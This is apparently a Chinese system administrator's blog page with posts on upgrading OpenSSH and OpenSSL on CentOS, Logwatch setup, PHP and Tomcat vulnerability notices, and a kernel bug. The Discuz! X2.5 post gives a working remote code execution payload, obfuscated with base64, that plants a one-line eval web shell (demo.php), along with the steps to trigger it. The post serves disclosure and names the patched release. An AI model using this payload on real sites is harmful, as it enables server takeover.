Skip to content


centos 升级ssh

cat /etc/issue.net CentOS release 5.5 (Final) Kernel \r on an \m 在centos5.x,6.x上升级都没问题 ssh -V OpenSSH_4.3p2, OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008 rpm -qa |grep openssh openssh-4.3p2-41.el5 openssh-clients-4.3p2-41.el5 openssh-server-4.3p2-41.el5

openssh官方网站目前最新版OpenSSL 1.0.1c OpenSSL 1.0.1g 1.0.1-1.0.f和1.0.2-beta1含有心脏出血漏洞,OpenSSL 1.0.1g 可以使用

penssl官方网站/目前最新版OpenSSH_6.0p1

一,开启telnet预防升级失败后不能登录ssh 1.检查有无安装telnet服务端,没有就用yum装上

rpm -qa |grep telnet telnet-0.17-39.el5 yum install telnet-server

2.开启telnet

vi /etc/xinetd.d/telnet service telnet { flags = REUSE socket_type = stream wait = no user = root server = /usr/sbin/in.telnetd log_on_failure += USERID disable = yes #改成no }

disable改成no

3.启动telnet /etc/init.d/xinetd restart

4.开启telnet 23端口防火墙,并只限192.168.0.0内网进入

iptables -A INPUT -s 192.168.0.0/24 -m state –state NEW -m tcp -p tcp –dport 23 -j ACCEPT

5.在内网测试telnet服务

telnet 192.168.0.11 Trying 192.168.0.11… Connected to 192.168.0.11 (192.168.0.11). Escape character is ‘^]’. CentOS release 5.8 (Final) Kernel 2.6.18-308.el5 on an x86_64 login: c1g Password: xxxxx

二,升级zlib yum -y update zlib

三,升级openssl which openssl /usr/bin/openssl

注意:不要用openssl-1.0.1c了

wget http://www.openssl.org/source/openssl-1.0.1c.tar.gz tar zxvf openssl-1.0.1c.tar.gz cd openssl-1.0.1c ./config –prefix=/usr –shared make && make test && make install

需带上–shared参数 否则会出现头文件和库文件不匹配

checking whether getpgrp requires zero arguments… yes checking OpenSSL header version… 1000103f (OpenSSL 1.0.1c 10 May 2012) checking OpenSSL library version… 90802f (OpenSSL 0.9.8e-fips-rhel5 01 Jul 2008) checking whether OpenSSL’s headers match the library… no configure: error: Your OpenSSL headers do not match your library. Check config.log for details. If you are sure your installation is consistent, you can disable the check by running “./configure –without-openssl-header-check”. Also see contrib/findssl.sh for help identifying header/library mismatches.

会无法正常运行

ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key OpenSSL version mismatch. Built against 1000103f, you have 90802f

四,升级ssh 1.安装pam开发包,避免以下错误

configure: error: PAM headers not found

yum install pam-devel

2.备份原ssh配置 mv /etc/ssh /etc/ssh_bak

3.升级ssh

cd .. wget http://ftp3.usa.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-6.0p1.tar.gz tar zxvf openssh-6.0p1.tar.gz cd openssh-6.0p1 ./configure –prefix=/usr –with-zlib –sysconfdir=/etc/ssh –with-ssl-dir=/usr –with-md5-passwords –with-pam OpenSSH has been configured with the following options: User binaries: /usr/bin System binaries: /usr/sbin Configuration files: /etc/ssh Askpass program: /usr/libexec/ssh-askpass Manual pages: /usr/share/man/manX PID file: /var/run Privilege separation chroot path: /var/empty sshd default user PATH: /usr/bin:/bin:/usr/sbin:/sbin Manpage format: doc PAM support: yes OSF SIA support: no KerberosV support: no SELinux support: no Smartcard support: S/KEY support: no TCP Wrappers support: no MD5 password support: yes libedit support: no Solaris process contract support: no Solaris project support: no IP address in $DISPLAY hack: no Translate v4 in v6 hack: yes BSD Auth support: no Random number source: OpenSSL internal ONLY Privsep sandbox style: rlimit Host: x86_64-unknown-linux-gnu Compiler: gcc Compiler flags: -g -O2 -Wall -Wpointer-arith -Wuninitialized -Wsign-compare -Wformat-security -Wno-pointer-sign -fno-strict-aliasing -D_FORTIFY_SOURCE=2 -fno-builtin-memset -fstack-protector-all -std=gnu99 Preprocessor flags: -I/usr/include Linker flags: -L/usr/lib -L/usr/local/lib -Wl,-rpath,/usr/local/lib -fstack-protector-all Libraries: -lcrypto -ldl -lutil -lz -lnsl -lcrypt -lresolv +for sshd: -lpam PAM is enabled. You may need to install a PAM control file for sshd, otherwise password authentication may fail. Example PAM control files can be found in the contrib/ subdirectory

make && make install

4.检查安装后的版本 ssh -V OpenSSH_6.0p1, OpenSSL 1.0.1c 10 May 2012

5.修改配置文件,禁止root登录,禁止dns解析,使用协议2,修改ssh端口至6022

sed -i ‘/^#PermitRootLogin/s/#PermitRootLogin yes/PermitRootLogin no/’ /etc/ssh/sshd_config sed -i ‘/^#UseDNS yes/s/#UseDNS yes/UseDNS no/’ /etc/ssh/sshd_config sed -i ‘/^#Protocol 2/s/#Protocol 2/Protocol 2/’ /etc/ssh/sshd_config echo “Port 6022” >> /etc/ssh/sshd_config

6.重启ssh服务 /etc/init.d/sshd restart

五,善后工作 1.停止telnet服务 /etc/init.d/xinetd stop

2.去除telnet的iptables

iptables -D INPUT -s 192.168.0.0/24 -m state –state NEW -m tcp -p tcp –dport 23 -j ACCEPT

3.移除telnet服务 yum remove telnet-server

4.升级ssh后其它机器登录需要重新生成key,会影响免登录的设置

Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Please contact your system administrator. Add correct host key in /root/.ssh/known_hosts to get rid of this message. Offending key in /root/.ssh/known_hosts:7 RSA host key for 192.168.0.11 has changed and you have requested strict checking. Host key verification failed. rsync: connection unexpectedly closed (0 bytes received so far) [sender] rsync error: unexplained error (code 255) at io.c(463) [sender=2.6.8]

从known_hosts中删除相关主机 vi /root/.ssh/known_hosts

5.注:在升级SSH时你的SSH是不会因为升级或重启服务而断掉的.

Posted in linux 维护优化, 安全.

Tagged with .


前段时间网站被挂马,目前已清除

前段时间网站被挂马,目前已清除

Posted in 安全.

Tagged with .


bash: /dev/null: Permission denied

查看了下/dev/null变成600了,在执行/etc/profile.d/*.sh下脚本时没报没有权限.

rm -f /dev/null mknod -m 666 /dev/null c 1 3

Posted in linux 维护优化.

Tagged with .


PHP 5.3.x目录遍历漏洞(CVE-2012-1172)

漏洞版本: PHP 5.3.x 漏洞描述: BUGTRAQ ID: 53403 CVE ID: CVE-2012-1172

PHP在实现上存在目录遍历漏洞,远程攻击者可利用带有目录遍历序列的特制请求检索、破坏或上传任意位置上的任意文件。 < 参考 https://bugzilla.redhat.com/show_bug.cgi?id=799187 > 安全建议: 厂商补丁:

PHP

目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.php.net

PHP 5.3.11 and 5.4.1 fix this

Posted in 安全通告.

Tagged with , .


注意修改康盛产品的跨域策略crossdomain.xml文件

discuz,uchome,ucenter的根目录下都会有这个crossdomain.xml 此文件为flash在跨域时的限制策略,如果没有跨域需求记得限制在当前域名下

默认文件

修改为只充许*.c1gstudio.com

参考discuz的修改 http://www.discuz.net/crossdomain.xml http://x.discuz.net/crossdomain.xml http://www.80sec.com/flash-security-polic.html

Posted in Discuz/Uchome/Ucenter, 安全.

Tagged with , , .


用 Logwatch 工具查看 Linux 系统 Log 日志

logwatch 是用perl写的一款方便小巧的日志查看工具,可以每天给你发一封格化后的系统信息邮件; 包含crontab运行中的脚本、ssh登录及失败用户ip、su及sudo用户、磁盘空间及邮件等情况… 一般系统中都默认安装它,只需简单配置下就可运行.

http://www.logwatch.org/ 目前最新版为logwatch-7.4.0,logwatch-7.3.6 centos里yum装的为logwatch-7.3.6

安装 rpm -Ivh logwatch.rpm 升级 rpm -Uvh logwatch.rpm yum安装升级 yum -y install logwatch

#复制配置文件 cp -af /usr/share/logwatch/default.conf/logwatch.conf /etc/logwatch/conf/logwatch.conf #打开每日邮件报告 sed -i ‘s/# DailyReport = No/DailyReport = Yes/’ /etc/logwatch/conf/logwatch.conf #修改邮件mta,如果是本机sendmail或postfix不不需修改,这个用的是mailx的远程smtp sed -i ‘s/mailer = “sendmail -t”/mailer = “mail -t”/’ /etc/logwatch/conf/logwatch.conf #报告的细节程度 sed -i ‘s/Detail = Low/Detail = High/’ /etc/logwatch/conf/logwatch.conf #邮件发给谁 sed -i “s/MailTo = root/MailTo = root,[email protected]/” /etc/logwatch/conf/logwatch.conf

logwatch默认每天执行一次,可以从/etc/cron.daily里看到 ll /etc/cron.daily/

total 28 -rwxr-xr-x 1 root root 265 Jun 25 2011 0logwatch

红帽as4系统中配置文件位于/etc/log.d/logwatch.conf

2012-11-09更新 注:由于系统日志中不记录年份,日志量过少没有轮换会产生误报的情况. 今年读取了去年的日志来报告.

Posted in 安全.

Tagged with , .


【转】php-5.3.x中弃用的功能和函数

PHP 5.3.0 新增了两个错误等级: E_DEPRECATED 和 E_USER_DEPRECATED. 错误等级 E_DEPRECATED 被用来说明一个函数或者功能已经被弃用. E_USER_DEPRECATED 等级目的在于表明用户代码中的弃用功能, 类似于 E_USER_ERROR 和 E_USER_WARNING等级.下面是被弃用的 INI 指令列表. 使用下面任何指令都将导致 E_DEPRECATED 错误.

define_syslog_variables register_globals register_long_arrays safe_mode magic_quotes_gpc magic_quotes_runtime magic_quotes_sybase

弃用的函数: call_user_method() (使用 call_user_func() 替代) call_user_method_array() (使用 call_user_func_array() 替代) define_syslog_variables() dl() ereg() (使用 preg_match() 替代) ereg_replace() (使用 preg_replace() 替代) eregi() (使用 preg_match() 配合 ‘i’ 修正符替代) eregi_replace() (使用 preg_replace() 配合 ‘i’ 修正符替代) set_magic_quotes_runtime() 以及它的别名函数 magic_quotes_runtime() session_register() (使用 $_SESSION 超全部变量替代) session_unregister() (使用 $_SESSION 超全部变量替代) session_is_registered() (使用 $_SESSION 超全部变量替代) set_socket_blocking() (使用 stream_set_blocking() 替代) split() (使用 preg_split() 替代) spliti() (使用 preg_split() 配合 ‘i’ 修正符替代) sql_regcase() mysql_db_query() (使用 mysql_select_db() 和 mysql_query() 替代) mysql_escape_string() (使用 mysql_real_escape_string() 替代)

不向下兼容的变化 尽管大多数现有的 PHP 5 代码无需改变就可以工作,但是请注意一些不向下兼容的变化: 在 PHP 5.3.x 的所有绑定扩展中应用了新的内部参数解析API, 当给函数传递了不兼容的参数时将返回 NULL. 但有一些例外,比如函数 get_class() 在出现错误时将会返回 FALSE. clearstatcache() 默认不再清除缓存的 realpath. realpath() 现在是完全与平台无关的. 结果是非法的相对路径比如 FILE . “/../x” 将不会工作. call_user_func() 系列函数即使被调用者是一个父类也使用 $this. 数组函数 natsort(), natcasesort(), usort(), uasort(), uksort(), array_flip(), 和 array_unique() 将不再接受对象作为参数. 在将这些函数应用于对象时, 请首先将对象转换为数组. 按引用传递参数的函数在被按值传递调用时行为发生改变. 此前函数将接受按值传递的参数, 现在将抛出致命错误. 之前任何期待传递引用但是在调用时传递了常量或者字面值 的函数, 需要在调用前改为将该值赋给一个变量。 新的 mysqlnd 库需要使用 MySQL 4.1 新的 41 字节密码格式。继续使用旧的 16 字节密码将导致 mysql_connect() 和其它类似函数 抛出 “mysqlnd cannot connect to MySQL 4.1+ using old authentication.” 错误. 新的 mysqlnd 库将不再读取 MySQL 配置文件(my.cnf/my.ini), 这与旧版本的 libmysql 库不同. 如果你的代码依赖于这些配置 文件, 你可以使用 mysqli_options() 显式地加载它. 注意, 这意味着如果 PDO 中的 MySQL 支持使用了 mysqlnd 进行编译,PDO 特有常量 PDO::MYSQL_ATTR_READ_DEFAULT_FILE 和 PDO::MYSQL_ATTR_READ_DEFAULT_GROUP 将是未定义的. SplFileInfo 及其相关目录类会移除末尾的 /. toString 魔术方法不再接受参数. 魔术方法 get, set, isset, unset, and call 应该总是公共的(public)且不能是静态的(static). 方法签名是必须的. 现在 __call 魔术方法在访问私有的(private)和被保护的(protected)方法时被调用. 函数内 include() 或者 require() 一个文件时,文件内 将不能使用 func_get_arg(), func_get_args() 和 func_num_args() 函数。 新增了一个包裹在 MHASH 扩展外面的仿真层。但是并非所有的算法都涉及到了,值得注意的是 s2k 哈希算法。这意味着 s2k 哈希算法在 PHP 5.3.0 中不再可用。

转自:http://www.rootsec.org/post/php-5-3-x%E4%B8%AD%E5%90%AF%E7%94%A8%E7%9A%84%E5%8A%9F%E8%83%BD%E5%92%8C%E5%87%BD%E6%95%B0.html

Posted in PHP.

Tagged with .


Discuz! X2.5 远程代码执行漏洞及EXP[XDAY]

发布时间: 2012-04-27 漏洞版本:Discuz! X2.5Release20120407 漏洞描述: Discuz! X2.5 Release 20120407版中的preg_replace使用了e修饰符和双引号,在实现上存在远程命令执行漏洞, 远程攻击者可利用此漏洞执行远程任意代码。要成功利用此漏洞需要目标启用seo功能。

测试方法: @Sebug.net dis 本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 1,注册任意账户 2,登陆用户,发表blog日志(注意是日志) 3,添加图片,选择网络图片,地址{${fputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}} 4,访问日志,论坛根目录下生成demo.php,一句话密码C

Discuz已经发布了新版Discuz! X2.5 R20120427 http://www.discuz.net/thread-2744369-1-1.html

参考 http://sebug.net/vuldb/ssvid-60082 http://www.wooyun.org/bugs/wooyun-2012-06420 http://yaonie.org/archives/165

补充:PHP 5.4/5.3弃用eregi()函数内存限制绕过漏洞 危害 远程攻击者可以利用漏洞耗尽系统内存。

攻击所需条件 攻击者必须访问PHP应用。

漏洞信息 PHP 5.3之后弃用了基于POSIX规则表达式的函数如eregi,但在5.4.0版本中仍然使用这些函数,可被利用绕过memory_limit,通过eregi()耗尽内存。

测试方法 http://cxsecurity.com/issue/WLB-2012030271 漏洞消息链接 http://marc.info/?l=bugtraq&m=133311683110469&w=2

漏洞消息标题 PHP 5.4/5.3 deprecated eregi() memory_limit bypass

Posted in Discuz/Uchome/Ucenter, 安全通告.

Tagged with , , .


Apache Tomcat 6.0.35前有拒绝服务,信息泄露等漏洞

Apache Tomcat 6.0.35前有信息泄露相关的一个漏洞(CVE-2011-3375), 以及另一个在此前广受关注的哈希碰撞引发拒绝服务(DoS)漏洞(CVE-2012-0022), Apache 建议用户对 Tomcat 进行升级从而规避此漏洞。

http://tomcat.apache.org/security-6.html

一.安装Oracle JRockit 使用Oracle JRockit 可以提高tomcat性能 当前版本Oracle JRockit 6 – R28.2.3 Includes JRockit Mission Control 4.1 and JRockit Real Time 4.1 http://download.oracle.com/otn/bea/jrockit/jrockit-jdk1.6.0_31-R28.2.3-4.1.0-linux-x64.bin

需登录后下载

chmod u+x jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin ./jrockit-jdk1\[1\].6.0_31-R28.2.3-4.1.0-linux-x64.bin

遇到以下错误可能是/tmp没有执行权限

sh: jre150_12/bin/java: Permission denied ** Error during execution, error code = 32256.

按照提示一步步安装到 /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 做个软链接

ln -s /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 /usr/jrrt

二.安装apr yum install apr apr-util apr-devel

tomcat需要tomcat-native,而tomcat-native需要apr和openssl 没有apr启动tomcat可能会有以下错误

2012-4-20 13:28:37 org.apache.catalina.core.AprLifecycleListener init 信息: The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path: /usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64/jrockit:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/lib/amd64:/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0/jre/../lib/amd64

三.tomcat 安装 tomcat安装在/opt/下

cd /root/src/ wget http://labs.renren.com/apache-mirror/tomcat/tomcat-6/v6.0.35/bin/apache-tomcat-6.0.35.tar.gz tar zxvf apache-tomcat-6.0.35.tar.gz mv apache-tomcat-6.0.35 /opt/ cd /opt #复制配制文件 cp -ar tomcat/conf/*.xml apache-tomcat-6.0.35/conf/ #复制经过修改的关闭脚本,原生的有问题 cp tomcat/bin/shutdown.sh apache-tomcat-6.0.35/bin/

四.安装tomcat-native

cd apache-tomcat-6.0.35/bin tar zxvf tomcat-native-1.1.22-src.tar.gz cd tomcat-native-1.1.22-src/jni/native/ ./configure –with-apr=/usr/bin/apr-1-config –with-java-home=/usr/jrockit-jdk1.6.0_31-R28.2.3-4.1.0 make make install

五.编辑变量 vi /etc/profile

JAVA_HOME=/usr/jrrt export JAVA_HOME PATH=$PATH:$JAVA_HOME/bin #原始设置省略 APR_HOME=/usr/local/apr LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$APR_HOME/lib export LD_LIBRARY_PATH

重新载入 source /etc/profile

六.迁移服务及应用 关闭tomcat /opt/tomcat/bin/shutdown.sh

cd /opt mv apache-tomcat-6.0.35/webapps/ apache-tomcat-6.0.35/webappsorg cp -ar tomcat/webapps apache-tomcat-6.0.35/ mv apache-tomcat-6.0.35/lib/ apache-tomcat-6.0.35/libbak cp -ar tomcat/lib/ apache-tomcat-6.0.35/ mv apache-tomcat-6.0.35/libbak/* apache-tomcat-6.0.35/lib/

删除软链接

rm /opt/tomcat ln -s /opt/apache-tomcat-6.0.35 /opt/tomcat

启动tomcat /opt/tomcat/bin/startup.sh 检查日志及服务 tail -n100 /opt/tomcat/logs/catalina.out

参考: tomcat安全设置 优化tomcat 内存 CentOs5.2安装tomcat 使用Oracle JRockit 提高tomcat性能

Posted in Tomcat, 安全通告.

Tagged with , .


centos/rhel 6.x部分系统在运行208.5天后可能会重启

centos/rhel 6.x部分kernel版本由于计数器溢出的bug,208.5天后可能会造成kernel panic

https://rhn.redhat.com/errata/RHBA-2012-0124.html Updated kernel packages that fix one bug are now available for Red Hat Enterprise Linux 6.

The kernel packages contain the Linux kernel, the core of any Linux operating system.

This update fixes the following bug:

  • An insufficiently designed calculation in the CPU accelerator in the previous kernel caused an arithmetic overflow in the sched_clock() function when system uptime exceeded 208.5 days. This overflow led to a kernel panic on the systems using the Time Stamp Counter (TSC) or Virtual Machine Interface (VMI) clock source. This update corrects the aforementioned calculation so that this arithmetic overflow and kernel panic can no longer occur under these circumstances. (BZ#781974)

All users are advised to upgrade to these updated packages, which fix this bug. The system must be rebooted for this update to take effect.

参考: http://hi.baidu.com/beibeiboo/blog/item/90a5d3ec8f41570762d09f89.html

Posted in 安全通告.

Tagged with .